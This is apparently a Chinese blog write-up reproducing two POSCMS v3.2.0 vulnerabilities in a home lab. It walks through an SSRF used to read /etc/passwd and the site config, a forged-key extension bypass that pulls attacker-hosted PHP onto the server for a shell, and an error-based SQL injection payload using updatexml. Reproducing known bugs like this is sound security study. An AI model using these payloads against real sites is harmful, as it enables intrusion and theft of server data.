POSCMS v3.2.0漏洞复现

Mr.Wu 3,557 0 正在检测是否收录...

最近工作之余发现虚拟机里存有之前下载的POSCMSv3.2.0,这个CMS系统去年底被爆出漏洞,当时读了参考文章1的博客后很想复现一下,却因别的事耽搁了。这次抽空复盘一下,详情见下文。P.S.源码请戳附件。

安装环境

本次复盘系统部署在CentOS虚拟机中,版本信息如下:

OS: CentOS7 amd64 (IP:10.10.10.129)
PHP: 5.5.38
MySQL: 5.5.60
WebServer: Apache2.4.6

软件版本:2018.11.27 v3.2.0

 

对应这个版本支持的PHP不得高于7.1,这里只好对系统默认安装版本降级:

yum list installed | grep php
    yum remove php*.x86_64
## 添加新的RPM仓库
    rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
    rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
    yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x86_64

解压POSCMS-3.2.0.zip到Apache虚拟目录,这里我放在了/var/www/html/POSCMS,软件要求请求URL必须以根目录开始,所以修改了一下/etc/httpd/conf/httpd.conf

POSCMS v3.2.0漏洞复现

然后配置Mysql,创建数据库、用户、授予权限等等,不再赘述。访问http://10.10.10.129/install.php按步骤进行安装,安装成功后访问主页如下图:

POSCMS v3.2.0漏洞复现

在安装过程中有一次提示“cache目录没有写权限”,原因是POSCMS目录下的所有属主都是root。可以去修改Apache默认授权的用户、组,还是在/etc/httpd/conf/httpd.conf中找到并修改以下段落:

POSCMS v3.2.0漏洞复现

这里我将www目录允许的用户、组直接改成了当前操作用户newman,接着修改POSCMS目录的属主为同一属主:

POSCMS v3.2.0漏洞复现

接着就能正常安装了。有时候位于虚拟机内的CentOS无法访问,那么可以查查以下服务的状态,并清空一下规则。基本上关停以下服务,大概率就能访问了:

## 清空iptables
    sudo iptables -F
## 查看Selinux状态
    sudo sestatus
## 临时关闭Selinux
    sudo setenforce 0
## 停掉firewall服务
    sudo service firewalld stop

漏洞1——SSRF及GetShell

打开项目源代码,第一个漏洞的出处在\diy\module\member\controllers\Api.php中的down_file()函数,内容如下:

// 文件下载并上传
public function down_file() {

    /***********************************************************
    * Part0. 获取POST参数url中的内容并解析
    ************************************************************/
    $p = array();
    $url = explode('&', $this->input->post('url'));

    foreach ($url as $t) {
    $item = explode('=', $t);
    $p[$item[0]] = $item[1];
    }

    /***********************************************************
    * Part1. 验证用户权限
    ************************************************************/
    !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));

    // 会员组权限
    $member_rule = $this->get_cache('member', 'setting', 'permission', $this->member['mark']);

    // 是否允许上传附件
    !$this->member['adminid'] && !$member_rule['is_upload'] && exit(dr_json(0, fc_lang('您的会员组无权上传附件')));

    // 附件总大小判断
    if (!$this->member['adminid'] && $member_rule['attachsize']) {
    $data = $this->db->select_sum('filesize')->where('uid', $this->uid)->get('attachment')->row_array();
    $filesize = (int)$data['filesize'];
    $filesize > $member_rule['attachsize'] * 1024 * 1024 && exit(dr_json(0, fc_lang('附件空间不足!您的附件总空间%s,现有附件%s。', $member_rule['attachsize'].'MB', dr_format_file_size($filesize))));
    }

    /***********************************************************
    * Part2. 解密code参数的值获得扩展、路径等信息
    ************************************************************/    
    list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));

    /***********************************************************
    * Part3. 生成存放路径
    ************************************************************/    
    $path = $path ? SYS_UPLOAD_PATH.'/'.$path.'/' : SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
    !is_dir($path) && dr_mkdirs($path);

    $furl = $this->input->post('file');

    /***********************************************************
    * Part4. 访问并获取文件  
    ************************************************************/
    $file = dr_catcher_data($furl);
    !$file && exit(dr_json(0, '获取远程文件失败'));

    /***********************************************************
    * Part5. 根据扩展名过滤并存储数据  
    ************************************************************/
    $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
    $exts = (array)explode(',', $ext);
    !in_array($fileext, $exts) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
    $fileext == 'php' && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));

    $filename = substr(md5(time()), 0, 7).rand(100, 999);       //文件名

    /***********************************************************
    * Part6. 向路径写入数据并返回响应结果  
    ************************************************************/
    if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
        $info = array(
            'file_ext' => '.'.$fileext,
            'full_path' => $path.$filename.'.'.$fileext,
            'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
            'client_name' => '',
        );
        $this->load->model('attachment_model');
        $this->attachment_model->siteid = $p['siteid'] ? $p['siteid'] : SITE_ID;
        $result = $this->attachment_model->upload($this->uid, $info);
        if (is_array($result)) {
            list($id) = $result;
            echo json_encode(array('status'=>1, 'id'=>$id, 'name' => dr_strcut($filename, 10).'.'.$fileext));exit;
        } else {
            @unlink($info['full_path']);
            exit(dr_json(0, $result));
        }
    } else {
        exit(dr_json(0, '文件移动失败,目录无权限('.$path.')'));
    }
}

源码分析

这段代码的主要逻辑是根据请求中参数去请求文件内容,并将它保存在特定目录中,最后以json格式返回保存结果

Part1没什么好说的,只要管理员不修改默认权限,注册个普通用户就有视频、图片的上传功能。Part2中dr_authcode()是一个加解密函数,位于\diy\dayrui\helpers\function_helper.php。其具体实现可以不用关心,毕竟源码已经到手,只要找到密钥,就能随意构造加密结果。

POSCMS v3.2.0漏洞复现

Part3中确定了下载文件的名称,这里我们请求的参数中不包含code参数,使$PATH为空,则它会取问号表达式的后半段SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/',最后的上传路径如下:/uploadfile/年月/

POSCMS v3.2.0漏洞复现

Part4中的dr_catcher_data()函数正是SSRF漏洞的来源,其实现位于\diy\dayrui\helpers\function_helper.php。无论代码最后选的是fopen模式还是curl模式,开发人员都没有对可解析的协议做限制,也没有校验请求参数$url的范围。

POSCMS v3.2.0漏洞复现

寻找触发点

直接用VSCode的全局搜索功能,寻找down_file()函数的调用位置:

POSCMS v3.2.0漏洞复现

发现它出现在了一个js文件中,于是构造一个XHR的POST请求到服务端,设置file参数的值使其访问/etc/passwd,得到如下响应:

POSCMS v3.2.0漏洞复现

用浏览器打开“文件存储路径+返回的文件名”:

POSCMS v3.2.0漏洞复现

GetShell

再请求一下/config/system.php,该文件中存储有重要的元数据。

POSCMS v3.2.0漏洞复现

这是因为Part5中的$ext变量虽然为空,但它专门过滤了.php文件,好在利用file://协议的解析特性,可以绕过这一点,比如.php?..php#.

POSCMS v3.2.0漏洞复现

再次用浏览器打开并设置编码格式为UTF-8:

POSCMS v3.2.0漏洞复现

获取到安全密钥后,可以构造特殊payload绕过扩展名检查。这里,总结一下此次GetShell的思路:

  1. 构造特殊payload使.html文件允许被上传
  2. 在自己控制的服务器上放置.html文件(里面有恶意代码的php代码)
  3. 利用SSRF漏洞,使服务器用http协议访问带外数据(OOB),获取到恶意的.html,形成Getshell

为了绕过扩展名检查,我将加密代码拷贝进另一文件并填入密钥,输入选择1|html,|0,运行得到输出为22d7Qrdws88/R/uETpWlvY/PFNTYzvs/QNj5PBa66veNDlECqpM,并构造POST参数file=http://10.10.10.1/haha.html&url=code=22d7Qrdws88/R/uETpWlvY/PFNTYzvs/QNj5PBa66veNDlECqpM,这里的haha.html里包含了php代码<?php echo phpinfo();?>,最终效果如下:

POSCMS v3.2.0漏洞复现

POSCMS v3.2.0漏洞复现

如果这里复现失败了,那大概是在于两点:一、加密函数有时效性,过时需要重新生成;二、CentOS默认安装的Apache无法解析包含php代码的html文件,需要在/etc/httpd/conf.d/php.conf中添加如下:

POSCMS v3.2.0漏洞复现

漏洞2——前台SQL注射

最后一个SQL注射漏洞,为了找到漏洞出现的位置,我可耻地下载了别人博客里的截图并放大,看到了以下信息:

POSCMS v3.2.0漏洞复现

查看源码(\diy\dayrui\models\Attachment_model.php)可以发现注入点:

POSCMS v3.2.0漏洞复现

该函数的调用点位于(\diy\module\member\controllers\Account.php):

POSCMS v3.2.0漏洞复现

对应的功能实际是前台用户中心—>基本管理—>附件管理的搜索功能,随便选择某个类别搜索后会看到这条请求:

GET /index.php?s=member&c=account&m=attachment&module=photo&ext= HTTP/1.1
Host: 10.10.10.129

module参数注入Payload果然出现了报错:

POSCMS v3.2.0漏洞复现

但不知道为什么博客里的Payload这里复现失败了,不过已经知道是报错注入,我用了经典的Payload——" or updatexml(1,concat(1,0x7e,user()),1);#拼接入参数中,得到了数据库当前用户:

GET /index.php?s=member&c=account&m=attachment&module=photo%22%20or%20updatexml(1,concat(1,0x7e,user()),1);%23&ext= HTTP/1.1
Host: 10.10.10.129

POSCMS v3.2.0漏洞复现

第一次复现php代码漏洞,如有错误或忽略的地方,望各位师傅斧正。以后有时间了好好学一遍php语言,毕竟是世界上最好的语言(手动滑稽)。

 

参考文章

  1. https://www.jianshu.com/p/7cabf9ef2aad
  2. http://www.webbaozi.com/dmsj/111.html
  3. http://blog.sina.com.cn/s/blog_3edc5e2e0102w2oh.html
  4. https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
  5. https://www.cnblogs.com/rickzhai/p/7896297.html
  6. https://blog.csdn.net/xin_y/article/details/79007986

打赏
发表评论 取消回复
表情 图片 链接 代码

分享
微信
微博
QQ